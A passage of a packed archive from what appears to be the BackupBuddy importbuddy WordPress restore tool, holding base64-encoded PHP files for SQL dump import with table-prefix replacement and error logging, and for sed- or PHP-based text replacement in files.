JCX0KCQl9CgoJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdtZXNzYWdlJywgJ0ltcG9ydCBvZiBTUUwgZGF0YSBpbiBQSFAgbW9kZSBjb21wbGV0ZS4nICk7CgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ21lc3NhZ2UnLCAnVG9vayAnIC4gcm91bmQoIG1pY3JvdGltZSggdHJ1ZSApIC0gJHRoaXMtPnRpbWVfc3RhcnQsIDMgKSAuICcgc2Vjb25kcyBvbiAnIC4gJHF1ZXJ5X2NvdW50IC4gJyBxdWVyaWVzLiAnICk7CgoJCXJldHVybiB0cnVlOwoKCX0gLy8gRW5kIF9pbXBvcnRfcGhwKCkuCgoJLyoqCgkgKiBJbXBvcnRzIGEgbGluZS9xdWVyeSBpbnRvIHRoZSBkYXRhYmFzZS4KCSAqIEhhbmRsZXMgdXNpbmcgdGhlIHNwZWNpZmllZCB0YWJsZSBwcmVmaXguCgkgKgoJICogQHNpbmNlIDIuMC4wCgkgKgoJICogQHBhcmFtIHN0cmluZyAkcXVlcnkgICAgICAgICAgICBRdWVyeSBzdHJpbmcgdG8gcnVuIGZvciBpbXBvcnRpbmcuCgkgKiBAcGFyYW0gc3RyaW5nICRvbGRfcHJlZml4ICAgICAgIE5ldyBwcmVmaXggd2FzIHBhc3NlZCBpbiBjb25zdHJ1Y3Rvci4KCSAqIEBwYXJhbSBib29sICAgJGlnbm9yZV9leGlzdGluZyAgSWYgdHJ1ZSBzdXBwcmVzcyBteXNxbCBlcnJvcnMuCgkgKgoJICogQHJldHVybiBib29sIFRydWU9c3VjY2VzcywgRmFsc2U9ZmFpbGVkLgoJICovCglwdWJsaWMgZnVuY3Rpb24gX2ltcG9ydF9zcWxfZHVtcF9saW5lKCAkcXVlcnksICRvbGRfcHJlZml4LCAkaWdub3JlX2V4aXN0aW5nID0gZmFsc2UgKSB7CgkJJG5ld19wcmVmaXggPSAkdGhpcy0+X2RhdGFiYXNlX3ByZWZpeDsKCgkJJHF1ZXJ5X29wZXJhdG9ycyA9ICdJTlNFUlQgSU5UT3xDUkVBVEUgVEFCTEV8UkVGRVJFTkNFU3xDT05TVFJBSU5UfEFMVEVSIFRBQkxFfFwvXCohXGQrXHMrQUxURVIgVEFCTEUnOwoKCQkvLyBSZXBsYWNlIGRhdGFiYXNlIHByZWZpeCBpbiBxdWVyeS4KCQlpZiAoICRvbGRfcHJlZml4ICE9PSAkbmV3X3ByZWZpeCApIHsKCQkJJHF1ZXJ5ID0gcHJlZ19yZXBsYWNlKCAiL14oJHF1ZXJ5X29wZXJhdG9ycykoXHMrYD8pJG9sZF9wcmVmaXgvaSIsICJcJHsxfVwkezJ9JG5ld19wcmVmaXgiLCAkcXVlcnkgKTsgLy8gQWRkZWQgb24gNC0yOS0xMS4KCQl9CgoJCS8vIFRoaXMgaXMgYSB0YWJsZSBjcmVhdGlvbiBsaW5lLiBPdXRwdXQgd2hpY2ggdGFibGUgd2UgYXJlIGFibGUgdG8gY3JlYXRlIHRvIGhlbHAgZ2V0IGFuIGlkZWEgd2hlcmUgd2UgYXJlIGluIHRoZSBpbXBvcnQuIEFsc28gcG9zc2libHkgaGFuZGxlIGhvdGZpeCBFcnJvciAjNzAwMS4KCQlpZiAoIDEgPT0gcHJlZ19tYXRjaCggJy9eQ1JFQVRFIFRBQkxFIGA/KChcd3wtKSspYD8vaScsICRxdWVyeSwgJG1hdGNoZXMgKSApIHsKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnQ3JlYXRpbmcgdGFibGUgYCcgLiAkbWF0Y2hlc1sxXSAuICdgLicgKTsKCQkJaWYgKCBkZWZpbmVkKCAnUEJfSU1QT1JUQlVERFknICkgKSB7CgkJCQllY2hvICI8c2NyaXB0PmJiX2FjdGlvbiggJ2ltcG9ydGluZ1RhYmxlJywgJyIgLiAkbWF0Y2hlc1sxXSAuICInICk7PC9zY3JpcHQ+IjsKCQkJfQoKCQkJaWYgKCB0cnVlID09PSAkdGhpcy0+X2hvdGZpeF83MDAxICkgewoJCQkJJHF1ZXJ5ID0gc3RyX2lyZXBsYWNlKCAnVFlQRT0nLCAnRU5HSU5FPScsICRxdWVyeSApOwoJCQl9CgkJfQoKCQlnbG9iYWwgJHdwZGI7CgoJCS8vIFJ1biB0aGUgcXVlcnkuCgkJJHJlc3VsdHMgPSAkd3BkYi0+cXVlcnkoICRxdWVyeSApOwoKCQkvLyBIYW5kbGUgcmVzdWx0cyBvZiBydW5uaW5nIHF1ZXJ5LgoJCWlmICggZmFsc2UgPT09ICRyZXN1bHRzICkgewoJCQlpZiAoIHRydWUgIT09ICRpZ25vcmVfZXhpc3RpbmcgKSB7CgoJCQkJaWYgKCBlbXB0eSggJHdwZGItPnVzZV9teXNxbGkgKSApIHsKCQkJCQkkbXlzcWxfZXJyb3IgPSBAbXlzcWxfZXJyb3IoICR3cGRiLT5kYmggKTsKCQkJCX0gZWxzZSB7CgkJCQkJJG15c3FsX2Vycm9yID0gQG15c3FsaV9lcnJvcigpOwoJCQkJfQoKCQkJCWlmICggJycgPT0gJG15c3FsX2Vycm9yICkgewoJCQkJCSRteXNxbF9lcnJvciA9ICR3cGRiLT5sYXN0X2Vycm9yOwoJCQkJfQoKCQkJCWlmICggZW1wdHkoICR3cGRiLT51c2VfbXlzcWxpICkgKSB7CgkJCQkJJG15c3FsX2Vycm5vID0gQG15c3FsX2Vycm5vKCAkd3BkYi0+ZGJoICk7CgkJCQl9IGVsc2UgewoJCQkJCSRteXNxbF9lcnJubyA9IEBteXNxbGlfZXJybm8oICR3cGRiLT5kYmggKTsKCQkJCX0KCgkJCQkkbXlzcWxfOTAxMF9sb2cgPSBBQlNQQVRIIC4gJ2ltcG9ydGJ1ZGR5L215c3FsXzkwMTBfbG9nLScgLiBwYl9iYWNrdXBidWRkeTo6JG9wdGlvbnNbJ2xvZ19zZXJpYWwnXSAuICcudHh0JzsKCQkJCWlmICggMCA9PSAkdGhpcy0+XzkwMTBzX2VuY291bnRlcmVkICkgeyAvLyBQbGFjZSBhIGhlYWRlciBhdCB0aGUgdG9wIG9mIHRoaXMgbG9nIHdpdGggc29tZSBkZWJ1Z2dpbmcgaW5mby4KCQkJCQkvLyBAdW5saW5rKCAkbXlzcWxfOTAxMF9sb2cgKTsgLy8gRGVsZXRlIGlmIGFscmVhZHkgZXhpc3RzIHRvIGF2b2lkIG11bHRpcGxlIGxvZ2dpbmcgb2YgZW50aXJlIHByb2Nlc3MuIE5PIExPTkdFUiBERUxFVEVEIHNpbmNlIHRoaXMgbWF5IGJlIG11bHRpcGFydCBjaHVua2VkLgoJCQkJCUBmaWxlX3B1dF9jb250ZW50cygKCQkJCQkJJG15c3FsXzkwMTBfbG9nLAoJCQkJCQkiIyMjIyNcbiMgVGhpcyBsb2cgY29udGFpbnMgYWxsIDkwMTAgZXJyb3JzIGVuY291bnRlcmVkLlxuIyBPbGQgcHJlZml4OiBgeyRvbGRfcHJlZml4fWAuXG4jIE5ldyBwcmVmaXg6IGB7JG5ld19wcmVmaXh9YC5cbiMgVGltZTogYCIgLiB0aW1lKCkgLiAiYC5cbiMjIyMjXG57JHRlc3R9XG4iLAoJCQkJCQlGSUxFX0FQUEVORAoJCQkJCSk7CgkJCQl9CgoJCQkJQGZpbGVfcHV0X2NvbnRlbnRzKAoJCQkJCSRteXNxbF85MDEwX2xvZywKCQkJCQknUVVFUlkgZnJvbSBmaWxlIGAnIC4gJHRoaXMtPl9jdXJyZW50X3NxbF9maWxlIC4gImA6XG4iIC4gJHF1ZXJ5IC4gIlxuRVJST1I6XG4iIC4gJG15c3FsX2Vycm9yIC4gIlxuXG4iLAoJCQkJCUZJTEVfQVBQRU5ECgkJCQkpOwoKCQkJCSR0aGlzLT5fOTAxMHNfZW5jb3VudGVyZWQrKzsKCQkJCWlmICggJHRoaXMtPl85MDEwc19lbmNvdW50ZXJlZCA+ICR0aGlzLT5fbWF4XzkwMTBzX2FsbG93ZWQgKSB7IC8vIFRvbyBtYW55LCBkb24ndCBzaG93IG1vcmUuCgkJCQkJaWYgKCAkdGhpcy0+XzkwMTBzX2VuY291bnRlcmVkID09ICR0aGlzLT5fbWF4XzkwMTBzX2FsbG93ZWQgKyAxICkgewoJCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZXJyb3InLCAnQWRkaXRpb25hbCA5MDEwIGVycm9ycyB3ZXJlIGVuY291bnRlcmVkIGJ1dCBoYXZlIG5vdCBiZWVuIGRpc3BsYXllZCB0byBhdm9pZCBmbG9vZGluZyB0aGUgc2NyZWVuLiBBbGwgOTAxMCBlcnJvcnMgYXJlIGxvZ2dlZCB0byBgJyAuICRteXNxbF85MDEwX2xvZyAuICdgIGlmIHBvc3NpYmxlLicgKTsKCQkJCQl9CgkJCQl9IGVsc2UgeyAvLyBTaG93IGVycm9yLgoJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdlcnJvcicsICdFcnJvciAjOTAxMDogVW5hYmxlIHRvIGltcG9ydCBTUUwgcXVlcnkuIEVycm9yOiBgJyAuICRteXNxbF9lcnJvciAuICdgIEVycm5vOiBgJyAuICRteXNxbF9lcnJubyAuICdgLicgKTsKCQkJCQlpZiAoIGZhbHNlICE9PSBzdHJpc3RyKCAkbXlzcWxfZXJyb3IsICdzZXJ2ZXIgaGFzIGdvbmUgYXdheScgKSApIHsgLy8gaWYgc3RyaW5nIGRlbm90ZXMgdGhhdCBteXNxbCBzZXJ2ZXIgaGFzIGdvbmUgYXdheSBiYWlsIHNpbmNlIGl0IHdpbGwgbGlrZWx5IGp1c3QgZmxvb2QgdXNlciB3aXRoIGVycm9ycy4uLgoJCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZXJyb3InLCAnRXJyb3IgIzkwMTBiOiBIYWx0aW5nIGJhY2t1cCBwcm9jZXNzIGFzIG15c3FsIHNlcnZlciBoYXMgZ29uZSBhd2F5IGFuZCBkYXRhYmFzZSBkYXRhIGNvdWxkIG5vdCBiZSBpbXBvcnRlZC4gVHlwaWNhbGx5IHRoZSByZXN0b3JlIGNhbm5vdCBjb250aW51ZSBzbyB0aGUgcHJvY2VzcyBoYXMgYmVlbiBoYWx0ZWQuIFRoaXMgaXMgdXN1YWxseSBjYXVzZWQgYnkgYSBwcm9ibGVtYXRpYyBteXNxbCBzZXJ2ZXIgYXQgeW91ciBob3N0aW5nIHByb3ZpZGVyLCBsb3cgbXlzcWwgdGltZW91dHMsIGV0Yy4gQ29udGFjdCB5b3VyIGhvc3RpbmcgY29tcGFueSBmb3Igc3VwcG9ydC4nICk7CgkJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ0xhc3QgcXVlcnkgYXR0ZW1wdGVkOiBgJyAuICRxdWVyeSAuICdgLicgKTsKCQkJCQkJZGllKCAnRXJyb3IgIzk0ODM0MzogRkFUQUwgRVJST1IgLSBJTVBPUlQgSEFMVEVEJyApOwoJCQkJCX0KCQkJCX0KCQkJfQoJCQlyZXR1cm4gZmFsc2U7CgkJfSBlbHNlIHsKCQkJcmV0dXJuIHRydWU7CgkJfQoKCX0gLy8gRW5kIF9pbXBvcnRfc3FsX2R1bXBfbGluZSgpLgoKfSAvLyBFbmQgcGJfYmFja3VwYnVkZHlfbXlzcWxidWRkeSBjbGFzcy4K
###PACKDATA,FILE_END,/lib/mysqlbuddy/mysqlbuddy.php,importbuddy/lib/mysqlbuddy/mysqlbuddy.php
###PACKDATA,FILE_START,/lib/textreplacebuddy/index.php,importbuddy/lib/textreplacebuddy/index.php
PD9waHAKLyoqCiAqIFNpbGVuY2UgaXMgZ29sZGVuLgogKgogKiBAcGFja2FnZSBCYWNrdXBCdWRkeQogKi8K
###PACKDATA,FILE_END,/lib/textreplacebuddy/index.php,importbuddy/lib/textreplacebuddy/index.php
###PACKDATA,FILE_START,/lib/textreplacebuddy/textreplacebuddy.php,importbuddy/lib/textreplacebuddy/textreplacebuddy.php
PD9waHAKLyoJcGJfYmFja3VwYnVkZHlfdGV4dHJlcGxhY2VidWRkeSBjbGFzcwogKgkKICoJQGF1dGhvciBEdXN0aW4gQm9sdG9uCiAqCUBzaW5jZSAzLjAuMAogKgogKglUZXh0IHJlcGxhY2VtZW50cyB1c2luZyBjb21tYW5kIGxpbmUgaWYgYXZhaWxhYmxlLiBUaGVyZSBpcyBubyBnb29kIHdheSB0byBkbyB0ZXh0IHJlcGxhY2VtZW50cwogKglvbiBhIGxhcmdlIHNjYWxlIGluIFBIUCBlZmZpY2llbnRseS4KICoKICoJUmVzdWx0aW5nIGZpbGUgc3RvcmVkIGF0ICRmaWxlIC4gJy50bXAnLiBPcmlnaW5hbCBmaWxlIGlzIE5PVCByZXBsYWNlZC4KICoKICovCmNsYXNzIHBiX2JhY2t1cGJ1ZGR5X3RleHRyZXBsYWNlYnVkZHkgewoJCgkKCS8qKioqKioqKioqIFByb3BlcnRpZXMgKioqKioqKioqKi8KCQoJCglwcml2YXRlICRfdmVyc2lvbiA9ICcwLjAuMic7CQkJCQkJCQkJCQkJCQkJCQkJLy8gSW50ZXJuYWwgdmVyc2lvbiBudW1iZXIgZm9yIHRoaXMgbGlicmFyeS4KCQoJcHJpdmF0ZSAkX21ldGhvZHMgPSBhcnJheSgpOwkJCQkJCQkJCQkJCQkJCQkJCQkJLy8gQXZhaWxhYmxlIG1lY2hhbmlzbXMgZm9yIGR1bXBpbmcgaW4gb3JkZXIgb2YgcHJlZmVyZW5jZS4KCXByaXZhdGUgJF9jb21tYW5kYnVkZHk7CgkKCS8qKioqKioqKioqIE1ldGhvZHMgKioqKioqKioqKi8KCQoJCgkvKglfX2NvbnN0cnVjdCgpCgkgKgkKCSAqCURlZmF1bHQgY29uc3RydWN0b3IuCgkgKgkKCSAqCUBwYXJhbQkJYXJyYXkJCSRmb3JjZV9tZXRob2RzCQkJT3B0aW9uYWwgcGFyYW1ldGVyIHRvIG92ZXJyaWRlIGF1dG9tYXRpYyBtZXRob2QgZGV0ZWN0aW9uLiBTa2lwcyB0ZXN0IGFuZCBydW5zIGZpcnN0IG1ldGhvZCBmaXJzdC4gIEZhbGxzIGJhY2sgdG8gb3RoZXIgbWV0aG9kcyBpZiBhbnkgZmFpbHVyZS4KCSAqCUByZXR1cm4JCQoJICovCglwdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoICRmb3JjZV9tZXRob2RzID0gYXJyYXkoKSApIHsKCQkKCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICd0ZXh0cmVwbGFjZWJ1ZGR5OiBMb2FkaW5nIHRleHRyZXBsYWNlYnVkZHkgbGlicmFyeS4nICk7CgkJCgkJLy8gSGFuZGxlcyBjb21tYW5kIGxpbmUgZXhlY3V0aW9uLgoJCXJlcXVpcmVfb25jZSggcGJfYmFja3VwYnVkZHk6OnBsdWdpbl9wYXRoKCkgLiAnL2xpYi9jb21tYW5kYnVkZHkvY29tbWFuZGJ1ZGR5LnBocCcgKTsKCQkkdGhpcy0+X2NvbW1hbmRidWRkeSA9IG5ldyBwYl9iYWNrdXBidWRkeV9jb21tYW5kYnVkZHkoKTsKCQkKCQkvLyBTZXQgbWVjaGFuaXNtIGZvciBkdW1waW5nIC8gcmVzdG9yaW5nLgoJCWlmICggY291bnQoICRmb3JjZV9tZXRob2RzICkgPiAwICkgeyAvLyBNZWNoYW5pc20gZm9yY2VkLiBPdmVycmlkaW5nIGF1dG9tYXRpYyBjaGVjay4KCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ21lc3NhZ2UnLCAndGV4dHJlcGxhY2VidWRkeTogU2V0dGluZ3Mgb3ZlcnJpZGluZyBhdXRvbWF0aWMgZGV0ZWN0aW9uIG9mIGF2YWlsYWJsZSBkYXRhYmFzZSBkdW1wIG1ldGhvZHMuIFVzaW5nIGZvcmNlZCBvdmVycmlkZSBtZXRob2RzOiBgJyAuIGltcGxvZGUoICcsJywgJGZvcmNlX21ldGhvZHMgKSAuICdgLicgKTsKCQkJJHRoaXMtPl9tZXRob2RzID0gJGZvcmNlX21ldGhvZHM7CgkJfSBlbHNlIHsgLy8gTm8gbWV0aG9kIGRlZmluZWQ7IGF1dG8tZGV0ZWN0IHRoZSBiZXN0LgoJCQkkdGhpcy0+X21ldGhvZHMgPSAkdGhpcy0+YXZhaWxhYmxlX3RleHRyZXBsYWNlX21ldGhvZHMoKTsKCQl9CgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ21lc3NhZ2UnLCAndGV4dHJlcGxhY2VidWRkeTogRGV0ZWN0ZWQgdGV4dCByZXBsYWNlbWVudCBtZXRob2RzOiBgJyAuIGltcGxvZGUoICcsJywgJHRoaXMtPl9tZXRob2RzICkgLiAnYC4nICk7CgkJCgl9IC8vIEVuZCBfX2NvbnN0cnVjdCgpLgoJCgkKCQoJLyoJYXZhaWxhYmxlX2R1bXBfbWV0aG9kcygpCgkgKgkKCSAqCWZ1bmN0aW9uIGRlc2NyaXB0aW9uCgkgKgkKCSAqCUBwYXJhbQkJCgkgKglAcmV0dXJuCQlzdHJpbmcJCQkJUG9zc2libGUgcmV0dXJuczogIG15c3FsZHVtcCwgcGhwCgkgKi8KCXB1YmxpYyBmdW5jdGlvbiBhdmFpbGFibGVfdGV4dHJlcGxhY2VfbWV0aG9kcygpIHsKCQkKCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICd0ZXh0cmVwbGFjZSB0ZXN0OiBUZXN0aW5nIGF2YWlsYWJsZSB0ZXh0IHJlcGxhY2VtZW50IG1ldGhvZHMuJyApOwoJCWlmICggZnVuY3Rpb25fZXhpc3RzKCAnZXhlYycgKSApIHsgLy8gRXhlYyBpcyBhdmFpbGFibGUgc28gdGVzdCBteXNxbGR1bXAgZnJvbSBoZXJlLgoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICd0ZXh0cmVwbGFjZSB0ZXN0OiBleGVjKCkgZnVuY3Rpb24gZXhpc3RzLiBUZXN0aW5nIHJ1bm5pbmcgc2VkICh0ZXh0IHJlcGxhY2UgY29tbWFuZCkgdmlhIGV4ZWMoKS4nICk7CgkJCQoJCQkKCQkJLyoqKioqKioqKiogQmVnaW4gcHJlcGFyaW5nIGNvbW1hbmQgKioqKioqKioqKi8KCQkJLy8gSGFuZGxlIFdpbmRvd3Mgd2FudGluZyAuZXhlLgoJCQlpZiAoIHN0cmlzdHIoIFBIUF9PUywgJ1dJTicgKSAmJiAhc3RyaXN0ciggUEhQX09TLCAnREFSV0lOJyApICkgeyAvLyBSdW5uaW5nIFdpbmRvd3MuIChub3QgZGFyd2luKQoJCQkJcmV0dXJuIGFycmF5KCAncGhwJyApOyAvLyBOb3RoaW5nIGdvb2QgaW4gV2luZG93cyBhdmFpbGFibGUgdG8gdGV4dCByZXBsYWNlLgoJCQl9IGVsc2UgewoJCQkJJGNvbW1hbmQgPSAiZWNobyBiYWNrdXAgfCBzZWQgJ3MvYmFja3VwL2J1ZGR5LyciOyAvLyBXaWxsIGF0dGVtcHQgdG8gcmVwbGFjZSBiYWNrdXAgd2l0aCBidWRkeQoJCQl9CgkJCQoJCQkvLyBSZWRpcmVjdCBTVERFUlIgdG8gU1RET1VULgoJCQkkY29tbWFuZCAuPSAnICAyPiYxJzsKCQkJCgkJCS8qKioqKioqKioqIEVuZCBwcmVwYXJpbmcgY29tbWFuZCAqKioqKioqKioqLwoJCQkKCQkJCgkJCS8vIFJ1biBjb21tYW5kLgoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICd0ZXh0cmVwbGFjZSB0ZXN0OiBSdW5uaW5nIHRlc3QgY29tbWFuZCBuZXh0LicgKTsKCQkJbGlzdCggJGV4ZWNfb3V0cHV0LCAkZXhlY19leGl0X2NvZGUgKSA9ICR0aGlzLT5fY29tbWFuZGJ1ZGR5LT5leGVjdXRlKCAkY29tbWFuZCApOwoJCQkKCQkJaWYgKCBzdHJpc3RyKCBpbXBsb2RlKCAnICcsICRleGVjX291dHB1dCApLCAnYnVkZHknICkgIT09IGZhbHNlICkgeyAvLyBTdHJpbmcgVmVyIGFwcGVhcmVkIGluIHJlc3BvbnNlIG9yIHVzYWdlIGV4cGxhbmF0aW9ucy4gU29tZSB2ZXJzaW9uIGRvbnQgZ2l2ZSB2ZXJzaW9uLgoJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAndGV4dHJlcGxhY2UgdGVzdDogQ29tbWFuZCBhcHBlYXJzIHRvIGJlIGFjY2Vzc2libGUgYW5kIHJldHVybnMgZXhwZWN0ZWQgcmVzcG9uc2UuJyApOwoJCQkJcmV0dXJuIGFycmF5KCAnY29tbWFuZGxpbmUnLCAncGhwJyApOyAvLyBteXNxbGR1bXAgYmVzdCwgcGhwIG5leHQuCgkJCX0KCQkJCgkJCQoJCX0gZWxzZSB7IC8vIE5vIGV4ZWMoKSBzbyBtdXN0IGZhbGwgYmFjayB0byBQSFAgbWV0aG9kIG9ubHkuCgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdtZXNzYWdlJywgJ3RleHRyZXBsYWNlIHRlc3Q6IEZhbGxpbmcgYmFjayB0byB0ZXh0cmVwbGFjZSBjb21wYXRpYmlsaXR5IG1vZGUgKFBIUCByZXBsYWNlKS4gVGhpcyBpcyBzbG93ZXIgYW5kIG1vcmUgbWVtb3J5IGludGVuc2l2ZS4nICk7CgkJCXJldHVybiBhcnJheSggJ3BocCcgKTsKCQl9CgkJCgkJcmV0dXJuIGFycmF5KCAncGhwJyApOwoJCQoJfSAvLyBFbmQgYXZhaWxhYmxlX2R1bXBfbWV0aG9kKCkuCgkKCQoJCgkvKglyZXBsYWNlKCkKCSAqCQoJICoJUmVwbGFjZSBhbGwgaW5zdGFuY2VzIG9mIGEgc3RyaW5nIHdpdGhpbiBhIGZpbGUuIEF1dG9tYXRpY2FsbHkgZmFsbHMgYmFjay4KCSAqCVJlc3VsdGluZyBmaWxlIHN0b3JlZCBpbiAkZmlsZSAuICd0bXAnLiBPcmlnaW5hbCBmaWxlIGlzIE5PVCByZXBsYWNlZC4KCSAqCgkgKglAcGFyYW0JCXN0cmluZwkJJGZpbGUJCQkJRnVsbCBmaWxlIHBhdGggdG8gZmlsZSB0byBzZWFyY2guIEEgLnRtcCB2ZXJzaW9uIGlzIG1hZGUgd2l0aCB0aGUgZmluYWwgcmVzdWx0cy4gT3JpZ2luYWwgZmlsZSBpcyBOT1QgcmVwbGFjZWQuCgkgKglAcGFyYW0JCXN0cmluZwkJJHNlYXJjaAkJCQlTdHJpbmcgdG8gc2VhcmNoIGZvci4KCSAqCUBwYXJhbQkJc3RyaW5nCQkkcmVwbGFjZW1lbnQJCVN0cmluZyB0byByZXBsYWNlIHdpdGguCgkgKglAcGFyYW0JCXN0cmluZwkJJHJlZ2V4X2NvbmRpdGlvbglDb25kaXRpb24gd2hlbiByZXBsYWNlbWVudHMgbWF5IGhhcHBlbi4gT3B0aW9uYWwuCgkgKglAcGFyYW0JCXN0cmluZwkJJHJlZ2V4X3JlcGxhY2UJCUlmIGZhbGxlbiBiYWNrIGludG8gUEhQIG1vZGUgdGhlbiB0aGlzIGlzIG5lZWRlZCBJRiAkcmVnZXhfY29uZGl0aW9uIGlzIHBhc3NlZC4gT3B0aW9uYWwuCgkgKglAcmV0dXJuCgkgKi8KCXB1YmxpYyBmdW5jdGlvbiBzdHJpbmdfcmVwbGFjZSggJGZpbGUsICRzZWFyY2gsICRyZXBsYWNlbWVudCwgJHJlZ2V4X2NvbmRpdGlvbiA9ICcnLCAkcmVnZXhfcmVwbGFjZSA9ICcnICkgewoJCSRyZXR1cm4gPSBmYWxzZTsKCQkKCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnbWVzc2FnZScsICdTdGFydGluZyB0ZXh0IHJlcGxhY2VtZW50IHByb2NlZHVyZS4nICk7CgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAidGV4dHJlcGxhY2UgYmVpbmcgcGVyZm9ybWVkIG9uIGZpbGUgYHskZmlsZX1gIHJlcGxhY2luZyBgeyRzZWFyY2h9YCB3aXRoIGB7JHJlcGxhY2VtZW50fWAuIiApOwoJCQoJCS8vIEF0dGVtcHQgZWFjaCBtZXRob2QgaW4gb3JkZXIuCgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnUHJlcGFyaW5nIHRvIHRleHRyZXBsYWNlIHVzaW5nIGF2YWlsYWJsZSBtZXRob2QocykgYnkgcHJpb3JpdHkuIE1ldGhvZHM6IGAnIC4gaW1wbG9kZSggJywnLCAkdGhpcy0+X21ldGhvZHMgKSAuICdgJyApOwoJCWZvcmVhY2goICR0aGlzLT5fbWV0aG9kcyBhcyAkbWV0aG9kICkgewoJCQlpZiAoIG1ldGhvZF9leGlzdHMoICR0aGlzLCAiX3N0cmluZ3JlcGxhY2VfeyRtZXRob2R9IiApICkgewoJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAndGV4dHJlcGxhY2VidWRkeTogQXR0ZW1wdGluZyByZXBsYWNlIG1ldGhvZCBgJyAuICRtZXRob2QgLiAnYC4nICk7CgkJCQkkcmVzdWx0ID0gY2FsbF91c2VyX2Z1bmMoIGFycmF5KCAkdGhpcywgIl9zdHJpbmdyZXBsYWNlX3skbWV0aG9kfSIgKSwgJGZpbGUsICRzZWFyY2gsICRyZXBsYWNlbWVudCwgJHJlZ2V4X2NvbmRpdGlvbiwgJHJlZ2V4X3JlcGxhY2UgKTsKCQkJCQoJCQkJaWYgKCAkcmVzdWx0ID09PSB0cnVlICkgeyAvLyBEdW1wIGNvbXBsZXRlZCBzdWNjZXNmdWxseSB3aXRoIHRoaXMgbWV0aG9kLgoJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ3RleHRyZXBsYWNlYnVkZHk6IFJlcGxhY2UgbWV0aG9kIGAnIC4gJG1ldGhvZCAuICdgIGNvbXBsZXRlZCBzdWNjZXNzZnVsbHkuJyApOwoJCQkJCSRyZXR1cm4gPSB0cnVlOwoJCQkJCWJyZWFrOwoJCQkJfSBlbHNlaWYgKCAkcmVzdWx0ID09PSBmYWxzZSApIHsgLy8gRHVtcCBmYWlsZWQgdGhpcyBtZXRob2QuIFdpbGwgdHJ5IGNvbXBhdGliaWxpdHkgZmFsbGJhY2sgdG8gbmV4dCBtb2RlIGlmIGFibGUuCgkJCQkJLy8gRG8gbm90aGluZy4gV2lsbCB0cnkgbmV4dCBtb2RlIG5leHQgbG9vcC4KCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICd0ZXh0cmVwbGFjZWJ1ZGR5OiBSZXBsYWNlIG1ldGhvZCBgJyAuICRtZXRob2QgLiAnYCBmYWlsZWQuIFRyeWluZyBhbm90aGVyIGNvbXBhdGliaWxpdHkgbW9kZSBuZXh0IGlmIGFibGUuJyApOwoJCQkJfSBlbHNlIHsKCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICd0ZXh0cmVwbGFjZWJ1ZGR5OiBVbmV4ZXBlY3RlZCByZXNwb25zZTogYCcgLiBpbXBsb2RlKCAnLCcsICRyZXN1bHQgKSAuICdgJyApOwoJCQkJfQoJCQl9CgkJfQoJCQoJCWlmICggJHJldHVybiA9PT0gdHJ1ZSApIHsgLy8gU3VjY2Vzcy4KCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ21lc3NhZ2UnLCAnVGV4dCByZXBsYWNlIHByb2NlZHVyZSBzdWNjZWVkZWQuJyApOwoJCQlyZXR1cm4gdHJ1ZTsKCQl9IGVsc2UgeyAvLyBPdmVyYWxsIGZhaWx1cmUuCgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdlcnJvcicsICdUZXh0IHJlcGxhY2UgcHJvY2VkdXJlIGZhaWxlZC4nICk7CgkJCXJldHVybiBmYWxzZTsKCQl9CgkJCgl9IC8vIEVuZCBkdW1wKCkuCgkKCQoJCgkvKglfc3RyaW5ncmVwbGFjZV9jb21tYW5kbGluZSgpCgkgKgkKCSAqCVBlcmZvcm1zIGFjdHVhbCBjb21tYW5kIGxpbmUgc3RyaW5nIHJlcGxhY2VtZW50LiBWSUEgc2VkIChjb21tYW5kIGxpbmUgcmVwbGFjZSkuCgkgKglDYXNlIHNlbnNpdGl2ZS4KCSAqCVJlc3VsdGluZyBmaWxlIHN0b3JlZCBpbiAkZmlsZSAuICd0bXAnLiBPcmlnaW5hbCBmaWxlIGlzIE5PVCByZXBsYWNlZC4KCSAqCQoJICoJQHBhcmFtCQlzdHJpbmcJCSRmaWxlCQkJCUZ1bGwgZmlsZSBwYXRoIHRvIGZpbGUgdG8gcmVwbGFjZSBpbi4gYSAudG1wIHZlcnNpb24gaXMgdGVtcG9yYXJpbHkgbWFkZS4KCSAqCUBwYXJhbQkJc3RyaW5nCQkkc2VhcmNoCQkJCVN0cmluZyB0byBzZWFyY2ggZm9yLgoJICoJQHBhcmFtCQlzdHJpbmcJCSRyZXBsYWNlbWVudAkJU3RyaW5nIHRvIHJlcGxhY2Ugd2l0aC4KCSAqCUBwYXJhbQkJc3RyaW5nCQkkcmVnZXhfY29uZGl0aW9uCUNvbmRpdGlvbiB3aGVuIHJlcGxhY2VtZW50cyBtYXkgaGFwcGVuLiBPcHRpb25hbC4KCS